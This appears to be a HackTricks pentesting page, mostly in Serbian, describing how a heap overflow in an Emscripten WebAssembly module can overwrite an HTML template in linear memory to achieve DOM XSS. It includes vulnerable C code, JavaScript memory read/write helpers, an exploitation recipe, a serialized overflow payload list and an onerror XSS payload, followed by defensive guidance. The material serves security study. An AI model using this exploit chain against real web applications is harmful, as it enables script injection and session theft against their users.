hacktricks/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md

134 lines
8.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Ova tehnika pokazuje kako bag u korupciji memorije unutar WebAssembly (WASM) modula kompajliranog sa Emscripten može biti iskorišćen za pouzdan DOM XSS čak i kada je unos sanitarisan. Pivot je da se korumpiraju writable konstante u WASM linear memory (npr. HTML format templates) umesto da se napada sanitizovani izvorni string.
Ključna ideja: U WebAssembly modelu, kod živi u neupisivim izvršnim stranicama, ali podaci modula (heap/stack/globals/"constants") žive u jedinstvenoj ravnoj linear memory (stranice od 64KB) koja je upisiva od strane modula. Ako buggy C/C++ kod piše van granica, možete prepisati susedne objekte pa čak i konstantne stringove ugrađene u linear memory. Kada se takva konstanta kasnije koristi za izgradnju HTML-a za umetanje preko DOM sink, možete pretvoriti sanitizovani unos u izvršni JavaScript.
Model pretnje i preduslovi
- Web app koristi Emscripten glue (Module.cwrap) da pozove WASM module.
- Stanje aplikacije živi u WASM linear memory (npr. C structs sa pointerima/lengths ka korisničkim baferima).
- Sistem za sanitaciju unosa enkodira metakaraktere pre čuvanja, ali kasnije prikazivanje gradi HTML koristeći format string smešten u WASM linear memory.
- Postoji primitiv za korupciju linear-memory (npr. heap overflow, UAF, ili unchecked memcpy).
Minimalni model ranjivih podataka (primer)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Ranljiv obrazac logike
- addMsg(): alocira novi bafer veličine sanitizovanog ulaza i dodaje msg u s.mess, udvostručujući kapacitet pomoću realloc kada je potrebno.
- editMsg(): ponovo sanitizuje i kopira nove bajtove u postojeći bafer pomoću memcpy bez provere da je nova dužina ≤ stara alokacija → intralinearmemory heap overflow.
- populateMsgHTML(): formatira sanitizovani tekst sa ugrađenim stubom kao što je "<article><p>%.*s</p></article>" koji se nalazi u linearnoj memoriji. Vraćeni HTML dospeva u DOM sink (npr. innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Pošaljite dovoljno poruka da premaše početni kapacitet. Nakon rasta, realloc() često postavlja s->mess odmah nakon poslednjeg korisničkog bafera u linear memory.
- Overflow poslednju poruku preko editMsg() da prepišete polja unutar s->mess (npr. overwrite msg_data pointers) → proizvoljna promena pointera u linear memory za podatke koji će kasnije biti renderovani.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization štiti input, ne sinks. Pronađite format stub koji koristi populateMsgHTML(), npr.:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Pronađite stub deterministički skeniranjem linear memory; to je plain byte string unutar Module.HEAPU8.
- Nakon što prepišete stub, sanitizovani sadržaj poruke postaje JavaScript handler za onerror, tako da dodavanje nove poruke sa tekstom kao alert(1337) daje <img src=1 onerror=alert(1337)> i izvršava se odmah u DOM-u.
Chrome DevTools workflow (Emscripten glue)
- Postavite breakpoint na prvi Module.cwrap poziv u JS glue i uđite u wasm call site da biste uhvatili pointer arguments (numeric offsets into linear memory).
- Koristite typed views kao Module.HEAPU8 za čitanje/pisanje WASM memory iz konzole.
- Helper snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
Recept za end-to-end eksploataciju
1) Groom: dodajte N malih poruka da biste pokrenuli realloc(). Osigurajte da je s->mess pored user buffer-a.
2) Overflow: pozovite editMsg() na poslednjoj poruci sa dužim payload-om da prepišete unos u s->mess, postavljajući msg_data poruke 0 da pokazuje na (stub_addr + 1). +1 preskače početni '<' kako bi poravnanje taga ostalo netaknuto tokom sledećeg edit-a.
3) Template rewrite: edit message 0 tako da njegovi bajtovi prepišu template sa: "img src=1 onerror=%.*s ".
4) Trigger XSS: dodajte novu poruku čiji je sanitized sadržaj JavaScript, npr. alert(1337). Pri renderovanju se emituje <img src=1 onerror=alert(1337)> i izvršava.
Primer liste akcija za serijalizaciju i postavljanje u ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Why this bypass works
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- Sanitizer štiti samo izvorni string; korumpiranjem sinka (the HTML template), sanitizovani input postaje vrednost JS handler-a i izvršava se kada se ubaci u DOM.
- Spajne alokacije nastale zbog realloc() plus nekontrolisani memcpy u edit tokovima omogućavaju korupciju pokazivača koja preusmerava upise na adrese po izboru napadača unutar linearne memorije.
Generalization and other attack surface
- Bilo koji in-memory HTML template, JSON skeleton, or URL pattern ugrađen u linearnu memoriju može biti meta za promenu načina na koji se sanitizovani podaci interpretiraju nizvodno.
- Drugi uobičajeni WASM zamke: out-of-bounds writes/reads u linearnoj memoriji, UAF na heap objektima, function-table misuse sa nekontrolisanim indeksima indirektnih poziva, i JS↔WASM glue mismatches.
Defensive guidance
- U edit tokovima, proverite new length ≤ capacity; resize buffere pre copy (realloc to new_len) ili koristite size-bounded APIs (snprintf/strlcpy) i pratite capacity.
- Držite immutable templates izvan writable linear memory ili proveravajte njihov integritet pre upotrebe.
- Smatrajte JS↔WASM granice nepoverljivim: validirajte pointer ranges/lengths, fuzz exported interfaces, i ograničite memory growth.
- Sanitize at the sink: izbegavajte gradnju HTML u WASM; preferirajte safe DOM APIs umesto innerHTML-style templating.
- Izbegavajte poveravanje URL-embedded state za privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}